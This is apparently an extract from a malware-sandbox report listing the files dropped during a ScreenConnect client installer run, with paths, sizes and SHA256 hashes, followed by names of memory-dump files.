                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        keys.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2026.3.23.1\keys.json
                                                                                                        • Size 8KB
                                                                                                        • SHA256 ae6e69a145f84c0a261b4e82888779fbf137f193881d687588e1af71609ae947
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        nav_config.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent\1.0.0.5\nav_config.json
                                                                                                        • Size 2KB
                                                                                                        • SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 252B
                                                                                                        • SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 972B
                                                                                                        • SHA256 46c96e720b20237d9768e9cb90aaa62c9c7b0c8f15fddee836a76d41dfa420cd
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 492B
                                                                                                        • SHA256 30e8b5d48a130d6bf81847b89c208c7a087525e9b7d9a0a97bcf21598332b63b
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 1KB
                                                                                                        • SHA256 692457b7a9a71da2f86a2d9c00ee5e439ede0bfca8d82ca033d6f592dbfa5469
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 1KB
                                                                                                        • SHA256 9067b28ebe20c02c9953fff5b0594ef49080bdf69debedc37cf9eb19498d7c06
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 1KB
                                                                                                        • SHA256 45a6b06e48cb3eedac93a0d53aa71f535bd43cbf956b7e1b9214bb14d119b498
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 132B
                                                                                                        • SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 372B
                                                                                                        • SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 732B
                                                                                                        • SHA256 0c1b4dc8f72139abc5b2e25e5d0097c1d3529ae18001b1a64ff535e345378b32
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 1KB
                                                                                                        • SHA256 33b54581b3cd7004077c0a607bf56966799274b2c161a1665f98c099812af2dd
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 852B
                                                                                                        • SHA256 453a08edb83095062ff59beb4f28403a177007ecdc5b93c88074cf8ae24c9b39
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        metadata.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
                                                                                                        • Size 612B
                                                                                                        • SHA256 ce7879978d6dc1ebc353b93e509ab0dcd980bc78615af00080f3db1cb23e79d4
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        fba93e3a-d5a9-4ead-95d3-8485e51b83d5.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\fba93e3a-d5a9-4ead-95d3-8485e51b83d5.tmp
                                                                                                        • Size 13B
                                                                                                        • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        MSI7C6.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp
                                                                                                        • Size 1.0MB
                                                                                                        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Microsoft.Deployment.WindowsInstaller.dll
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                                                                                                        • Size 172KB
                                                                                                        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.Core.dll
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp-\ScreenConnect.Core.dll
                                                                                                        • Size 538KB
                                                                                                        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.InstallerActions.dll
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp-\ScreenConnect.InstallerActions.dll
                                                                                                        • Size 11KB
                                                                                                        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.Windows.dll
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp-\ScreenConnect.Windows.dll
                                                                                                        • Size 1.6MB
                                                                                                        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        b87bfb94-a9a7-4f31-aa98-6e885b1aac16.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\b87bfb94-a9a7-4f31-aa98-6e885b1aac16.tmp
                                                                                                        • Size 10KB
                                                                                                        • SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        f78594d5-2261-460f-82a7-0008c733cae8.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\f78594d5-2261-460f-82a7-0008c733cae8.tmp
                                                                                                        • Size 1B
                                                                                                        • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        eaa42408-577a-46af-9c33-c52396a49b84.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2596_1335348535\eaa42408-577a-46af-9c33-c52396a49b84.tmp
                                                                                                        • Size 147KB
                                                                                                        • SHA256 d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        content_new.js
                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2596_388957559\CRX_INSTALL\content_new.js
                                                                                                        • Size 10KB
                                                                                                        • SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.ClientSetup.msi
                                                                                                        • Path C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi
                                                                                                        • Size 12.9MB
                                                                                                        • SHA256 1b785299094e3dce1a1918993580b0e3718d862b55ad70b1d537787a74c1288e
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.ClientSetup.msi:Zone.Identifier
                                                                                                        • Path C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi:Zone.Identifier
                                                                                                        • Size 616B
                                                                                                        • SHA256 a3e846d9646975e1cff7dac0d4aa35dd767a2cf9b56ca2ba6adef8ea7c0da6aa
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        MSI4221.tmp
                                                                                                        • Path C:\Windows\Installer\MSI4221.tmp
                                                                                                        • Size 202KB
                                                                                                        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_12912800\manifest.json
                                                                                                        • Size 238B
                                                                                                        • SHA256 1bdda4a8fc3e2b965fbb52c9b23a9a34871bc345abfb332a87ea878f4472efbd
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_1416601794\manifest.json
                                                                                                        • Size 177B
                                                                                                        • SHA256 096e772e0f2e8c15e6dec9087ee0a1fb8b0c56b25061626aedc9e7e705adfc2e
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_1473521880\manifest.json
                                                                                                        • Size 160B
                                                                                                        • SHA256 2a7fe18a087d8e8be847d9569420b6e8907917ff6ca0fa42be15d4e3653c8747
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_1658261863\manifest.json
                                                                                                        • Size 165B
                                                                                                        • SHA256 daf50c160ae8f5935baa4a7207e9d04afbbc81a6dd9ed02d99de12056743eeb6
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_1700849387\manifest.json
                                                                                                        • Size 135B
                                                                                                        • SHA256 ba5c9096d20a482aaa1aa9e5f98ad6127d3e97c2f21de84f7c78d9b8073c8e26
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_178109326\manifest.json
                                                                                                        • Size 160B
                                                                                                        • SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        LICENSE
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_256038488\LICENSE
                                                                                                        • Size 1KB
                                                                                                        • SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_256038488\manifest.json
                                                                                                        • Size 79B
                                                                                                        • SHA256 7ea98f2308a9c51d17a1ac71b64afbe2a41ff0a083a166a0e4cc428bf44f0715
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_290973340\manifest.json
                                                                                                        • Size 119B
                                                                                                        • SHA256 7169d86e87f904218238cd293e043e20b7828afad9acd1ff2e5d64188530b9d7
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_293322656\manifest.json
                                                                                                        • Size 113B
                                                                                                        • SHA256 98821f71a1973ac61b45967ce0c121eb598ac6e95abaa23c912d2f33e4237d8c
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_914188320\manifest.json
                                                                                                        • Size 135B
                                                                                                        • SHA256 cb929ae2d466e597ecc4f588ba22faf68f7cfc204b3986819c85ac608d6f82b5
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_943596870\manifest.json
                                                                                                        • Size 85B
                                                                                                        • SHA256 2d905d7b28b1afd313753d14f6a916a2e56ec4c1316bfa43046b09214ceb6090
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        manifest.json
                                                                                                        • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2596_945968050\manifest.json
                                                                                                        • Size 43B
                                                                                                        • SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        metadata-2
                                                                                                        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                                                                                        • Size 24.6MB
                                                                                                        • SHA256 feb4ec3d68d47d457a4748ee147cb10b03324c5a5cb586287f5119d2c7723061
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        {59f1688a-428b-47b6-98cd-a21963850778}_OnDiskSnapshotProp
                                                                                                        • Path \??\Volume{0dc89376-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{59f1688a-428b-47b6-98cd-a21963850778}_OnDiskSnapshotProp
                                                                                                        • Size 6KB
                                                                                                        • SHA256 160b95224d79248ff682b263a6ec5591b60112c0bb1275f46be4204b810f08c1
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        memory/1132-697-0x00000000044F0000-0x00000000045C5000-memory.dmp
                                                                                                        Download

                                                                                                        memory/1132-696-0x0000000004260000-0x00000000042A1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/1132-694-0x0000000004300000-0x0000000004392000-memory.dmp
                                                                                                        Download

                                                                                                        memory/1132-667-0x00000000016F0000-0x0000000001708000-memory.dmp
                                                                                                        Download

                                                                                                        memory/1132-693-0x0000000004040000-0x0000000004076000-memory.dmp
                                                                                                        Download

                                                                                                        memory/1132-689-0x0000000003FF0000-0x0000000004040000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1197-0x00000197E9300000-0x00000197E9400000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1111-0x00000197E8070000-0x00000197E8090000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1152-0x00000197E7F20000-0x00000197E8020000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1126-0x00000197E8D00000-0x00000197E8D20000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1031-0x00000196B4270000-0x00000196B4370000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1112-0x00000196C5FE0000-0x00000196C6000000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3616-1092-0x00000196E7E80000-0x00000196E7EA0000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-706-0x0000000000F10000-0x0000000000F28000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-705-0x000000001BAE0000-0x000000001BC68000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-707-0x0000000002750000-0x0000000002768000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-703-0x000000001B560000-0x000000001B5EC000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-702-0x00000000026E0000-0x0000000002716000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-704-0x000000001B7A0000-0x000000001B94C000-memory.dmp
                                                                                                        Download

                                                                                                        memory/3900-701-0x0000000000550000-0x00000000005E8000-memory.dmp
                                                                                                        Download

                                                                                                        memory/4472-572-0x0000000005480000-0x00000000054AE000-memory.dmp
                                                                                                        Download

                                                                                                        memory/4472-585-0x0000000005F70000-0x0000000006516000-memory.dmp
                                                                                                        Download

                                                                                                        memory/4472-580-0x00000000055D0000-0x000000000565C000-memory.dmp
                                                                                                        Download

                                                                                                        memory/4472-576-0x00000000054C0000-0x00000000054CA000-memory.dmp
                                                                                                        Download

                                                                                                        memory/4472-584-0x0000000005810000-0x00000000059BC000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-745-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-739-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-741-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-746-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-748-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-749-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-750-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-751-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-747-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download

                                                                                                        memory/5416-740-0x00000274335E0000-0x00000274335E1000-memory.dmp
                                                                                                        Download